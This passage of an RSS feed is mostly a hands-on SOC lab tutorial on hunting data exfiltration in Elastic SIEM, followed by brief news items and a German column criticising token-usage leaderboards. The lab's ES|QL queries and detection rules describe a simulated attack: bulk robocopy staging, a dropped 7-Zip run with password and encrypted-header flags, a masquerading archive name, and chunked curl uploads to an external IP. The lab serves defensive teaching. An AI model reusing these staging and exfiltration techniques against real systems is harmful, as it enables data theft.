HAPPENED                                                     │<br>│                                                                             │<br>│  35 sensitive files read in 43 minutes — 50× normal rate for this account  │<br>│  7z.exe from AppData\Temp — not from Program Files (attacker-dropped tool) │<br>│  curl.exe from AppData\Temp — not a standard user workstation binary       │<br>│  8 uploads to same external IP — internal backup goes to 10.0.0.50, not   │<br>│  203.0.113.42                                                               │<br>└─────────────────────────────────────────────────────────────────────────────┘</pre><p>Think of it like a warehouse with an inventory system. Every item that leaves has to be scanned out — but the system only flags individual items over a certain weight. An attacker who takes 35 medium-sized boxes, repackages them into one large crate labelled “equipment return,” and ships it out via the regular loading dock never triggers a single scan. The anomaly isn’t any one step. It’s the sequence.</p><p><strong>Step 5: Why it leaves tracks</strong></p><p>Exfiltration can’t hide the following statistical signatures — and each one is a hunt signal:</p><ul><li><strong>Access rate spike</strong> — one account reading far more files per minute than its own historical baseline, especially across multiple sensitive share paths simultaneously</li><li><strong>Archive tool process in unexpected path</strong> — 7z.exe or Compress-Archive spawned from AppData\Temp or C:\Users\*\AppData rather than a managed software directory</li><li><strong>Asymmetric upload ratio</strong> — network connections where bytes_out massively exceeds bytes_in (uploads, not browsing); normal HTTPS traffic is the opposite</li><li><strong>Single external destination, chunked volume</strong> — the same external IP receiving multiple large uploads in sequence, each sized just under a DLP threshold</li></ul><p>None of that is a signature. But an analyst with the right ES|QL query can spot it in seconds. That’s exactly what you’re about to do.</p><h3>Part 2 — Your Mission</h3><p>By the end of this lab you will have:</p><ul><li>✅ Detected a bulk file collection burst using file access rate analysis</li><li>✅ Found archive creation by an attacker-dropped 7-Zip binary in a suspicious path</li><li>✅ Identified chunked HTTPS exfiltration using upload-ratio anomaly detection</li><li>✅ Quantified the total data loss in megabytes</li><li>✅ Built a complete attack timeline from collection → archive → exfil → cleanup</li><li>✅ Documented the full investigation in your Hunt Notebook for your GitHub portfolio</li></ul><h3>Part 3 — Lab Setup</h3><h3>Getting Into the Lab</h3><p>No manual Elastic setup required — Hunt Forward handles all of it.</p><ol><li>Go to <a href="http://hunt-forward.com/"><strong>hunt-forward.com</strong></a></li><li>Enter your email — Stripe checkout, card required, not charged for 7 days</li><li>Dashboard unlocks immediately — all labs accessible</li><li>Accept the Elastic Cloud invite → “Accept Invitation → Access SIEM”</li><li>Check your dashboard status — <em>Pending</em> → <em>✓ Invite Sent</em> within ~5 minutes</li></ol><p>Once you’re in Elastic —<a href="https://soc-c60cc3.kb.us-central1.gcp.elastic.cloud/s/student-view/app/r/s/TYroA"> <strong>CLICK HERE</strong></a><strong> </strong>or:</p><ul><li><strong>Kibana → Discover</strong></li><li>Index: exfil-lab-logs</li><li>Time range: <strong>March 6, 2025, 10:00 AM — 6:00 PM</strong></li></ul><h3>A Quick Word on ES|QL</h3><p>Throughout this lab we use <strong>ES|QL</strong> — Elasticsearch Query Language — instead of clicking through visualisation menus. ES|QL lets you filter, group, count, and calculate statistics on your logs in a single query, directly in Discover.</p><p>Every ES|QL query starts with FROM and pipes data through commands using |. Think of each | as "then do this next thing to the results."</p><p><strong>To run ES|QL in Kibana:</strong></p><ol><li>In Discover, click the language selector dropdown (top left — it may say <strong>KQL</strong> or <strong>Lucene</strong>)</li><li>Select <strong>ES|QL</strong></li><li>Paste the query and press <strong>Run</strong> (▶)</li></ol><h3>Part 4 — The Hunt</h3><h3>Hunt 1 — File Access Rate Spike (Bulk Collection)</h3><p>The first signal in any exfiltration is the collection phase. Attackers need to stage data locally before they can archive and send it. That means one account reading a high volume of files in a short window — a rate that stands out against every other user on the file server.</p><p>The key insight: we’re not looking for a specific filename. We’re looking for <em>abnormal access velocity</em> from a single identity across multiple sensitive share paths.</p><pre>FROM exfil-lab-logs<br>| WHERE event.category == "file"<br>  AND event.action == "file-accessed"<br>| STATS<br>    file_count = COUNT(*),<br>    total_bytes = SUM(file.size),<br>    unique_paths = COUNT_DISTINCT(file.path)<br>    BY host.name, user.name, process.name<br>| EVAL total_mb = ROUND(total_bytes / 1048576.0, 2)<br>| WHERE file_count &gt; 10<br>| SORT file_count DESC<br>| LIMIT 20</pre><p><strong>What each line does:</strong></p><ul><li>FROM exfil-lab-logs — query the lab dataset</li><li>WHERE event.category == "file" AND event.action == "file-accessed" — scope to file read events only, filtering out write and delete events</li><li>STATS file_count = COUNT(*), total_bytes = SUM(file.size), unique_paths = COUNT_DISTINCT(file.path) BY host.name, user.name, process.name — count how many files each user+host+process combination touched, sum the total bytes, and count distinct file paths to measure breadth of access</li><li>EVAL total_mb = ROUND(total_bytes / 1048576.0, 2) — convert raw bytes to megabytes inline, rounded to 2 decimal places</li><li>WHERE file_count &gt; 10 — filter out low-volume normal activity; focus on accounts that read more than 10 files</li><li>SORT file_count DESC — surface the highest-volume accessor first</li><li>LIMIT 20 — return top 20 rows</li></ul><p><strong>What to look for in results:</strong> The top row should stand out dramatically from all others. Look for a user+process combination where file_count is 10× or more above the next row, where total_mb is in the tens of megabytes, and where process.name is something unexpected for file access — robocopy.exe instead of EXCEL.EXE or explorer.exe.</p><blockquote><em>📝 </em><strong><em>Hunt Notebook checkpoint:</em></strong><em> Record the top anomalous row: user name, host name, process name, file count, and total MB accessed. Note whether the accessing process is a normal office application or a bulk-copy/scripting tool.</em></blockquote><blockquote><em>✅ </em><strong><em>Bulk collection confirmed.</em></strong><em> </em><em>svc_emr_db on </em><em>WKSTN-MORGAN accessed 75 files totalling ~47 MB via </em><em>robocopy.exe — vastly above any other user in the dataset. The process alone is a red flag: </em><em>robocopy.exe has no legitimate reason to be running under a service account from a workstation.</em></blockquote><h3>Hunt 2 — Archive Creation in a Suspicious Path</h3><p>The second signal is the archiving step. Legitimate compression tools like 7-Zip are installed by IT to C:\Program Files\7-Zip\7z.exe. An attacker who drops their own copy to AppData\Temp to avoid relying on IT-managed software is visible the moment you filter on the executable path.</p><p>We also look for password-protected compression (-p flag) and encrypted headers (-mhe=on) in the command line — features that have no use case in a legitimate backup or IT workflow.</p><pre>FROM exfil-lab-logs<br>| WHERE event.category == "process"<br>  AND (<br>    process.name == "7z.exe"<br>    OR process.name == "7za.exe"<br>    OR process.command_line LIKE "*Compress-Archive*"<br>    OR process.command_line LIKE "*-tzip*"<br>  )<br>| EVAL suspicious_path = CASE(<br>    process.executable LIKE "*\\\\AppData\\\\*", "YES — AppData",<br>    process.executable LIKE "*\\\\Temp\\\\*", "YES — Temp",<br>    process.executable LIKE "*\\\\ProgramData\\\\*", "YES — ProgramData",<br>    "NO — managed path"<br>  )<br>| EVAL has_password = CASE(<br>    process.command_line LIKE "*-p*", "YES",<br>    "NO"<br>  )<br>| KEEP host.name, user.name, process.name, process.executable,<br>       process.command_line, process.parent.name,<br>       suspicious_path, has_password, @timestamp<br>| SORT @timestamp ASC</pre><p><strong>What each line does:</strong></p><ul><li>WHERE event.category == "process" AND (...) — find any process event involving common archive utilities or PowerShell compression commands</li><li>EVAL suspicious_path = CASE(...) — derive a label field: flag the row if the archive tool is running from AppData, Temp, or ProgramData — directories where attackers drop tools to avoid IT software inventories</li><li>EVAL has_password = CASE(...) — flag rows where the command line contains -p, indicating password-protected compression</li><li>KEEP ... — return only the fields relevant to this investigation, reducing noise</li><li>SORT @timestamp ASC — order by time so you can see the archive creation sequence as it happened</li></ul><p><strong>What to look for in results:</strong> Any row where suspicious_path = YES — AppData or similar is an immediate priority. Combine that with has_password = YES and you have a high-confidence archive creation event. Note the process.parent.name — if the archiver was spawned by cmd.exe or powershell.exe rather than an installer, that's a further indicator of attacker activity.</p><blockquote><em>📝 </em><strong><em>Hunt Notebook checkpoint:</em></strong><em> Record the full </em><em>process.command_line for any flagged row. Note the output filename in the command (the archive name the attacker chose), the executable path (confirms it's not a managed installation), and the password flag. The archive filename often reveals the attacker's masquerade strategy.</em></blockquote><blockquote><em>✅ </em><strong><em>Rogue archive creation confirmed.</em></strong><em> </em><em>7z.exe ran from </em><em>C:\Users\morgan\AppData\Local\Temp\7z.exe — attacker-dropped, not IT-managed — with flags </em><em>-tzip -p3x!tr@c3d -mhe=on, creating a password-encrypted, header-encrypted ZIP. The output was named </em><em>WindowsDefender_Update_KB5034441.zip to masquerade as a Windows patch package.</em></blockquote><h3>Hunt 3 — Asymmetric Upload Detection (Exfiltration)</h3><p>Normal HTTPS browsing is asymmetric in one direction: users download far more than they upload. A request to load a webpage sends a few hundred bytes out and receives megabytes back. When you see the pattern reversed — large bytes_out, tiny bytes_in — on an outbound HTTPS connection, that's an upload. When it's repeated, to a single external IP, in chunks, that's exfiltration.</p><pre>FROM exfil-lab-logs<br>| WHERE event.category == "network"<br>  AND network.direction == "outbound"<br>  AND destination.port == 443<br>  AND network.bytes_out IS NOT NULL<br>| EVAL mb_out = ROUND(network.bytes_out / 1048576.0, 2)<br>| EVAL mb_in = ROUND(network.bytes_in / 1048576.0, 2)<br>| EVAL upload_ratio = ROUND(network.bytes_out / (network.bytes_in + 1), 1)<br>| WHERE mb_out &gt; 1.0<br>| STATS<br>    transfer_count = COUNT(*),<br>    total_mb_out = ROUND(SUM(network.bytes_out) / 1048576.0, 2),<br>    avg_mb_per_transfer = ROUND(AVG(network.bytes_out) / 1048576.0, 2),<br>    max_upload_ratio = MAX(upload_ratio)<br>    BY host.name, user.name, destination.ip, process.name<br>| WHERE transfer_count &gt;= 2<br>| SORT total_mb_out DESC<br>| LIMIT 15</pre><p><strong>What each line does:</strong></p><ul><li>WHERE ... destination.port == 443 AND network.bytes_out IS NOT NULL — scope to HTTPS outbound connections that have byte-count telemetry</li><li>EVAL mb_out = ROUND(network.bytes_out / 1048576.0, 2) — convert bytes sent to megabytes</li><li>EVAL mb_in = ROUND(network.bytes_in / 1048576.0, 2) — convert bytes received to megabytes</li><li>EVAL upload_ratio = ROUND(network.bytes_out / (network.bytes_in + 1), 1) — compute the ratio of sent to received; adding 1 to the denominator prevents division-by-zero; a ratio of 1000+ means the connection is almost entirely outbound</li><li>WHERE mb_out &gt; 1.0 — filter out small requests; focus on transfers over 1 MB</li><li>STATS transfer_count = COUNT(*), total_mb_out = ROUND(SUM(...) / 1048576.0, 2), avg_mb_per_transfer = ..., max_upload_ratio = MAX(upload_ratio) BY host.name, user.name, destination.ip, process.name — group by destination IP and summarise: how many transfers, total volume, average chunk size, and peak ratio</li><li>WHERE transfer_count &gt;= 2 — filter to destinations that received multiple large uploads (chunked exfil pattern)</li><li>SORT total_mb_out DESC — surface the highest-volume destination first</li></ul><p><strong>What to look for in results:</strong> The top row should show a single external IP receiving multiple transfers with a massive total_mb_out value and a max_upload_ratio in the thousands. Cross-reference the destination IP against the C2 you found in earlier labs. The process.name of curl.exe on a standard user workstation is another high-confidence indicator — curl is a developer/admin tool rarely present on end-user machines.</p><blockquote><em>📝 </em><strong><em>Hunt Notebook checkpoint:</em></strong><em> Record the destination IP, total MB exfiltrated, transfer count, average chunk size, and the process responsible. The </em><em>total_mb_out figure is your data loss estimate — this number goes in the executive summary of your incident report.</em></blockquote><blockquote><em>✅ </em><strong><em>Exfiltration confirmed.</em></strong><em> </em><em>curl.exe on </em><em>WKSTN-MORGAN sent 8 transfers totalling ~47 MB to </em><em>203.0.113.42:443, with an average upload ratio of ~9,000:1 (near-zero response, massive upload). The destination IP matches the known C2 from the organisation's prior incidents.</em></blockquote><h3>Hunt 4 — Cleanup and Full Attack Scope</h3><p>Attackers who clean up after themselves leave a different kind of evidence: file deletion events, directory removal, and a suspicious absence of the staging artefacts you’d expect to find. Correlating the cleanup events with the earlier signals confirms the full attack chain and gives you precise timestamps for your timeline.</p><pre>FROM exfil-lab-logs<br>| WHERE host.name == "WKSTN-MORGAN"<br>  AND (<br>    (event.category == "file" AND event.action IN ("file-created", "file-deleted", "directory-deleted", "file-renamed"))<br>    OR (event.category == "process" AND process.name IN ("7z.exe", "robocopy.exe", "curl.exe", "cmd.exe"))<br>  )<br>| EVAL event_label = CASE(<br>    event.action == "file-accessed" AND process.name == "robocopy.exe", "1-COLLECTION",<br>    process.name == "7z.exe", "2-ARCHIVE",<br>    event.action == "file-renamed", "2-MASQUERADE",<br>    process.name == "curl.exe", "3-EXFILTRATION",<br>    event.action IN ("file-deleted", "directory-deleted"), "4-CLEANUP",<br>    "OTHER"<br>  )<br>| KEEP @timestamp, event_label, event.action, file.name, file.path,<br>       process.name, process.command_line, user.name<br>| SORT @timestamp ASC<br>| LIMIT 50</pre><p><strong>What each line does:</strong></p><ul><li>WHERE host.name == "WKSTN-MORGAN" — scope entirely to the compromised host identified in Hunts 1–3</li><li>AND (...) — filter to file creation/deletion events and the specific attacker processes we've confirmed</li><li>EVAL event_label = CASE(...) — derive a phase label for each event: assigns "1-COLLECTION", "2-ARCHIVE", "3-EXFILTRATION", or "4-CLEANUP" based on the action and process name, so the results read as a timeline rather than a raw event list</li><li>KEEP ... — surface only the fields needed to reconstruct the timeline</li><li>SORT @timestamp ASC — chronological order, earliest to latest</li></ul><p><strong>What to look for in results:</strong> You should see a clean four-phase progression: collection events (robocopy file accesses) → archive creation (7z.exe) and rename → exfiltration (curl.exe uploads) → cleanup (file and directory deletions). Any gaps in the sequence are worth noting. The cleanup events confirm the attacker had operational security awareness — they didn’t just leave artefacts behind.</p><blockquote><em>📝 </em><strong><em>Hunt Notebook checkpoint:</em></strong><em> Record the timestamp of the first collection event, the archive creation timestamp, the first and last upload timestamps, and the cleanup timestamp. Calculate the total attack window (first collection to last cleanup). Note the archive name used as a masquerade, and record all deleted files and directories as forensic artefacts that are no longer recoverable from the endpoint.</em></blockquote><blockquote><em>✅ </em><strong><em>Full attack chain confirmed.</em></strong><em> Four-phase exfiltration: collection (14:00–14:43) → archive + masquerade (14:45) → chunked HTTPS upload (15:10–15:58) → cleanup (16:05). Total window: ~2 hours. Total data loss: ~47 MB. Evidence of operational security: attacker renamed archive to a Windows patch filename and deleted all staging artefacts on exit.</em></blockquote><h3>Part 5 — Building Your Timeline</h3><pre>┌─[WKSTN-MORGAN — Data Exfiltration Timeline]─────────────────────────────────────────┐<br>│  TIME (UTC)   │  EVENT                                    │  PHASE                   │<br>│───────────────┼───────────────────────────────────────────┼──────────────────────────│<br>│  14:00        │  robocopy.exe launched by svc_emr_db      │  Collection begins       │<br>│  14:00–14:43  │  35 files read from EMR$, Finance$, HR$   │  Bulk staging (~47 MB)   │<br>│  14:43        │  robocopy.exe exits                       │  Staging complete        │<br>│  14:45        │  7z.exe (AppData\Temp) creates archive    │  Archive + encryption    │<br>│  14:45:47     │  update_pkg.zip created (45 MB)           │  Compressed payload      │<br>│  14:45:55     │  Renamed → WindowsDefender_Update_KB*.zip │  Masquerade applied      │<br>│  15:08        │  curl.exe dropped to AppData\Temp         │  Transfer tool staged    │<br>│  15:10        │  Upload chunk 1/8 → 203.0.113.42:443      │  Exfiltration begins     │<br>│  15:10–15:58  │  8 × ~6 MB HTTPS POST chunks              │  47 MB exfiltrated       │<br>│  16:05        │  update_pkg.zip deleted                   │  Cleanup begins          │<br>│  16:05        │  staging\ directory removed               │  Evidence destruction    │<br>│  16:07        │  curl.exe deleted                         │  Tool removed            │<br>└─────────────────────────────────────────────────────────────────────────────────────┘</pre><h3>Part 6 — Document Your Hunt (Hunt Notebook → GitHub Portfolio)</h3><p>Open your <strong>Hunt Notebook</strong> in the Hunt Forward dashboard. The pre-loaded template has every section ready for your findings.</p><p><strong>Option A — Write your own report:</strong> Merge your four Hunt Notebook milestone blocks into a single document. Add a cover section:</p><ul><li>Analyst name and date</li><li>Executive summary: what was stolen, from which host, via which account, total data volume</li><li>IOC table: svc_emr_db, WKSTN-MORGAN, 203.0.113.42, C:\Users\morgan\AppData\Local\Temp\7z.exe, C:\Users\morgan\AppData\Local\Temp\curl.exe, archive filename</li><li>Recommended remediation: isolate WKSTN-MORGAN, revoke svc_emr_db credentials, block 203.0.113.42 at perimeter, notify legal/compliance of ~47 MB potential PII exposure</li></ul><p>Export as markdown → push to GitHub as hunt-007-data-exfiltration-detection.md</p><p><strong>Option B — Download the Hunt Forward reference report:</strong> Use it to check your findings before writing your own version.</p><p><strong>The recommendation:</strong> Write your own. The data loss quantification you produced in Hunt 3 — a specific megabyte figure, a named external IP, a confirmed process — is exactly the kind of evidence a CISO asks for in a breach notification decision. The fact that you can walk an interviewer through how you calculated it, line by line, is what makes this portfolio piece real.</p><h3>Part 7 — What Alex Did Next</h3><p>The executive summary took eleven minutes. 47 MB from EMR$, Finance$, HR$, and Legal$ — patient records, payroll data, wire transfer accounts, pending litigation files. The legal team was on the phone before Alex had finished typing the IOC table. Marcus submitted the containment ticket for WKSTN-MORGAN and the credential revocation for svc_emr_db simultaneously.</p><p>The DLP alert that started it all had fired forty-seven minutes after the first file was read. Alex added a note to the runbook: <em>next time someone with a service account touches robocopy, don’t wait for DLP to tell you.</em></p><h3>Part 8 — Operationalise Your Hunts as Detection Rules</h3><p>Hunting manually is how you find the first incident. Detection rules are how you make sure the next analyst doesn’t have to start from scratch.</p><p>Each ES|QL query you ran in Part 4 can be turned into a standing rule in Elastic Security that fires automatically when the same pattern appears. Import the three rules below and they will run every 5 minutes against your exfil-lab-logs index — or swap the index name for your production data source.</p><p><strong>To import:</strong> Elastic Security → Detection Rules → Import rules → select the .ndjson file from your Hunt Forward dashboard.</p><h3>Rule 1 — Bulk File Collection via Network Share (HIGH)</h3><p><em>Fires when a single account reads more than 20 files totalling over 10 MB using a bulk-copy process. Legitimate users access individual files on demand; this rate indicates automated staging.</em></p><pre>FROM exfil-lab-logs*<br>| WHERE event.category == "file"<br>  AND event.action == "file-accessed"<br>  AND process.name IN ("robocopy.exe", "xcopy.exe", "cmd.exe", "powershell.exe")<br>| STATS<br>    file_count   = COUNT(*),<br>    total_bytes  = SUM(file.size),<br>    unique_paths = COUNT_DISTINCT(file.path)<br>    BY host.name, user.name, process.name<br>| EVAL total_mb = ROUND(total_bytes / 1048576.0, 2)<br>| WHERE file_count &gt; 20<br>  AND total_mb &gt; 10<br>| SORT total_mb DESC</pre><p><strong>When this fires:</strong> Pivot to Hunt 1. Check whether 7z.exe or archive activity follows within 30 minutes — if Rule 2 also fires for the same host, you have a confirmed collection-to-archive sequence. Record total_mb in your Elastic Security Case as the staging volume estimate.</p><p><strong>False positives to validate:</strong> Scheduled backup agents (BackupExec, Veeam) running under a known service account; IT mass file migrations during change-management windows.</p><h3>Rule 2 — Archive Creation from Suspicious Path (HIGH)</h3><p><em>Fires when 7-Zip or PowerShell Compress-Archive runs from a user-writable directory (AppData, Temp, ProgramData) rather than a managed installation path. Attacker-dropped archive tools live in user-writable directories to avoid software inventory detection. Password flags (</em><em>-p, </em><em>-mhe) indicate deliberate encryption to defeat DLP content inspection.</em></p><pre>FROM exfil-lab-logs*<br>| WHERE event.category == "process"<br>  AND (<br>    process.name == "7z.exe"<br>    OR process.name == "7za.exe"<br>    OR process.command_line LIKE "*Compress-Archive*"<br>  )<br>| EVAL suspicious_path = CASE(<br>    process.executable LIKE "*\\\\AppData\\\\*",    "YES",<br>    process.executable LIKE "*\\\\Temp\\\\*",       "YES",<br>    process.executable LIKE "*\\\\ProgramData\\\\*","YES",<br>    "NO"<br>  )<br>| EVAL has_password = CASE(<br>    process.command_line LIKE "*-p*", "YES",<br>    "NO"<br>  )<br>| WHERE suspicious_path == "YES"<br>| KEEP @timestamp, host.name, user.name, process.name,<br>       process.executable, process.command_line,<br>       process.parent.name, suspicious_path, has_password<br>| SORT @timestamp ASC</pre><p><strong>When this fires:</strong> Inspect the full process.command_line for the output archive path and filename — attackers frequently rename archives to mimic Windows patch packages (KB*.zip) or system files. Correlate with Rule 1 (bulk collection) and Rule 3 (asymmetric upload) to confirm the full exfiltration chain.</p><p><strong>False positives to validate:</strong> Developers using portable 7-Zip builds in project directories; IT scripts that compress logs or reports using system PowerShell — review parent process and output path before dismissing.</p><h3>Rule 3 — Chunked HTTPS Exfiltration — Asymmetric Upload (CRITICAL)</h3><p><em>Fires when the same external IP receives 2 or more large HTTPS transfers totalling over 5 MB with an upload ratio above 100:1. Normal browsing sends small requests and receives large responses — exfiltration reverses this. Chunked transfers to a single destination indicate deliberate splitting to stay under DLP byte thresholds.</em></p><pre>FROM exfil-lab-logs*<br>| WHERE event.category == "network"<br>  AND network.direction == "outbound"<br>  AND destination.port == 443<br>  AND network.bytes_out IS NOT NULL<br>| EVAL mb_out       = ROUND(network.bytes_out / 1048576.0, 2)<br>| EVAL upload_ratio = ROUND(network.bytes_out / (network.bytes_in + 1), 1)<br>| WHERE mb_out &gt; 1.0<br>| STATS<br>    transfer_count  = COUNT(*),<br>    total_mb_out    = ROUND(SUM(network.bytes_out) / 1048576.0, 2),<br>    avg_mb_per_xfer = ROUND(AVG(network.bytes_out) / 1048576.0, 2),<br>    max_ratio       = MAX(upload_ratio)<br>    BY host.name, user.name, destination.ip, process.name<br>| WHERE transfer_count &gt;= 2<br>  AND total_mb_out &gt; 5<br>  AND max_ratio &gt; 100<br>| SORT total_mb_out DESC</pre><p><strong>When this fires:</strong> The total_mb_out value is your data loss estimate for executive reporting — record it in your Elastic Security Case immediately. Add destination.ip as a network IOC. If Rules 1 and 2 also fired for the same host within the preceding 2 hours, treat this as a confirmed exfiltration chain and escalate to critical incident response.</p><p><strong>False positives to validate:</strong> Cloud backup agents (Acronis, CrashPlan, Backblaze) uploading to known endpoints — add backup destination IPs to an exception list; large file sharing via approved SaaS (SharePoint, Dropbox, Box) — validate destination IP against known SaaS CIDR ranges.</p><h3>Takeaway Table</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*32N2Lb04y_Iy9LSzE2xfGA.png"><figcaption>Image created by chatgpt</figcaption></figure><h3>Ready for the Next Lab?</h3><ul><li><strong>Lab #008</strong> — Insider Threat Detection: Hunting behavioural baselines when the attacker already has legitimate credentials</li></ul><p>New labs drop 2–3 times per week on Hunt Forward and Medium.</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=fad0e47867fa" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-to-detect-data-exfiltration-with-elastic-siem-soc-analyst-hands-on-lab-hunt-forward-lab-007-fad0e47867fa">How to Detect Data Exfiltration with Elastic SIEM: SOC Analyst Hands-On Lab | Hunt Forward Lab #007</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Glassworm botnet that targeted OS devs smashed to pieces]]></title>
<description><![CDATA[CrowdStrike, Google and the Shadowserver Foundation worked together to take down a botnet that poisoned over 300 GitHub repositories, risking widespread supply chain compromise]]></description>
<link>https://tsecurity.de/de/3551768/it-nachrichten/glassworm-botnet-that-targeted-os-devs-smashed-to-pieces/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3551768/it-nachrichten/glassworm-botnet-that-targeted-os-devs-smashed-to-pieces/</guid>
<pubDate>Wed, 27 May 2026 18:02:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[CrowdStrike, Google and the Shadowserver Foundation worked together to take down a botnet that poisoned over 300 GitHub repositories, risking widespread supply chain compromise]]></content:encoded>
</item>
<item>
<title><![CDATA[GitHub Actions outage told devs 'your account is suspended']]></title>
<description><![CDATA[Another day, another GitHub wobble - but the service keeps growing]]></description>
<link>https://tsecurity.de/de/3550802/it-nachrichten/github-actions-outage-told-devs-your-account-is-suspended/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3550802/it-nachrichten/github-actions-outage-told-devs-your-account-is-suspended/</guid>
<pubDate>Wed, 27 May 2026 13:17:19 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Another day, another GitHub wobble - but the service keeps growing]]></content:encoded>
</item>
<item>
<title><![CDATA[Tokenmaxxing ist einfach nur dumm]]></title>
<description><![CDATA[Tokenmaxxing ist der neueste abwegige Trend im langen Kampf darum, die Produktivität von Entwicklern zu messen.DC Studio | shutterstock.com



Scheinbar haben Softwareentwickler in Diensten von Meta, die sich voll und ganz der KI-gestützten Programmierarbeit verschrieben haben, einen neuen Weg ge...]]></description>
<link>https://tsecurity.de/de/3549711/it-security-nachrichten/tokenmaxxing-ist-einfach-nur-dumm/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3549711/it-security-nachrichten/tokenmaxxing-ist-einfach-nur-dumm/</guid>
<pubDate>Wed, 27 May 2026 06:07:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/10/DC-Studio_shutterstock_2269121373_DEOnly_16z9.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Dev Meeting 16z9" class="wp-image-4075633" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Tokenmaxxing ist der neueste abwegige Trend im langen Kampf darum, die Produktivität von Entwicklern zu messen.</figcaption></figure><p class="imageCredit">DC Studio | shutterstock.com</p></div>



<p>Scheinbar haben Softwareentwickler in Diensten von Meta, die sich voll und ganz der KI-gestützten Programmierarbeit verschrieben haben, einen neuen Weg gefunden, ihr Engagement zu messen. Dieser manifestiert sich in Form einer internen Rangliste, die erfasst, welcher Dev die meisten Token mit Claude Code verbraucht. Das nennt sich auch „<a href="https://fortune.com/2026/04/09/meta-killed-employee-ai-token-dashboard/" target="_blank" rel="noreferrer noopener">Tokenmaxxing</a>“ und ist eine der dümmsten Ideen, die mir seit langem begegnet ist.</p>



<p>Denn bei diesem Wettlauf darum, wer die meisten Token verbraucht, spielt es keine Rolle, ob daraus ein gutes Ergebnis entstanden ist. Die Rankings sind einfach nur dazu da, damit sich die Beteiligten mit zweifelhaften Titeln wie „Token Legend“ oder „Cache Wizard“ schmücken können. Auch bei Microsoft, OpenAI und Salesforce spielt(e) sich offenbar <a href="https://blog.pragmaticengineer.com/the-pulse-tokenmaxxing-as-a-weird-new-trend/" target="_blank" rel="noreferrer noopener">Ähnliches</a> ab.  </p>



<h2 class="wp-block-heading">3 Gründe gegen Tokenmaxxing</h2>



<p>Softwareentwickler <a href="https://www.computerwoche.de/article/4057157/6-fuhrungstipps-fur-chefentwickler.html" target="_blank">zu führen</a>, ist eigentlich schon schwer genug. Das hat diverse Gründe, aber der wohl wichtigste ist, dass sich der Softwareentwicklungsprozess, beziehungsweise die <a href="https://www.computerwoche.de/article/4133885/darum-werden-ihre-besten-entwickler-langsamer.html" target="_blank">Produktivität der Developer</a> nur sehr schwer (bis gar nicht) messen lässt. Was nicht heißen soll, dass das nicht <a href="https://www.computerwoche.de/article/3600678/entwickler-gehoren-nicht-ans-fliesband.html" target="_blank">versucht wurde</a>. Im Gegenteil: Im Laufe der Jahre wurden Code-Zeilen, Storypoints, Arbeitsstunden insgesamt und pro Task oder auch die wöchentlich behobenen Bugs gemessen – unter anderem. All diese „Kennzahlen“ haben dabei zwei Dinge gemeinsam: Sie funktionieren nicht und werden am Ende nur manipuliert.</p>



<p>Deshalb tun wir uns meiner Meinung nach mit Anwandlungen wie Tokenmaxxing alles andere als einen Gefallen. Warum, lege ich auch gerne dar:</p>



<ul class="wp-block-list">
<li>Erstens sagt es nicht wirklich etwas aus, wenn gemessen wird, wie viele Token verbraucht wurden.</li>



<li>Zweitens ist eine „Zielsetzung“ dieser Art quasi dazu gemacht, massiv ausgenutzt zu werden, indem sinnlos Token verbrannt werden – siehe auch <a href="https://de.wikipedia.org/wiki/Goodharts_Gesetz">Goodharts Gesetz</a>.  </li>



<li>Drittens könnten Manager in den Führungsetagen auf das Phänomen aufmerksam werden. Schließlich suchen sie schon lange nach einer Methode, um Developer zu evaluieren. Sollten Sie Tokenmaxxing als Option dafür entdecken, prophezeie ich einen rasanten Niedergang.</li>
</ul>



<p>Natürlich lassen sich verbrauchte Token leicht zählen und die Werte sehen in einem Dashboard eventuell auch toll aus. Leider ist es nur für absolut nichts gut – außer dazu, festzustellen, wie viel Strom durch die <a href="https://www.computerwoche.de/article/4163759/gpu-effizienz-verdoppeln-ohne-zusatzkosten.html" target="_blank">GPUs</a> gejagt wurde. Während ich diesen Text hier tippe, habe ich bereits vor meinem inneren Auge, wie sich die OKRs in den Köpfen der Manager formen und im Rahmen einer Präsentation für Investoren per Powerpoint-Slide verkündet wird: „Der Token-Durchsatz ist im Jahresvergleich um 30 Prozent gestiegen!“</p>



<p>Es verhält sich mit Tokenmaxxing ähnlich wie damit, Code-Zeilen zu zählen: Eine Maximierung ist ein Kontraindikator für Qualität und Erfolg. Dazu kommt, dass es tatsächlich auch zu schlechteren Ergebnissen führen kann, möglichst viele Token zu verbrauchen. KI-Assistenten wie Claude Code erfordern vielmehr, Ressourcen mit Bedacht zu managen.</p>



<p>Das Letzte, was Unternehmen (und auch Devs) brauchen können, ist, dass der Token-Verbrauch zur neuen „Beschäftigungsarbeit“ wird, bei der Entwickler Ressourcen verschwenden und Führungskräfte ihnen dafür noch auf die Schulter klopfen. Das hat man wohl auch bei Meta erkannt und dem Tokenmaxxing inzwischen klugerweise einen Riegel vorgeschoben. (fm)</p>



<p><strong>Dieser Artikel ist <a href="https://www.infoworld.com/article/4170173/tokenmaxxing-is-super-dumb.html" target="_blank">im Original</a> bei unserer Schwesterpublikation Infoworld.com erschienen.</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
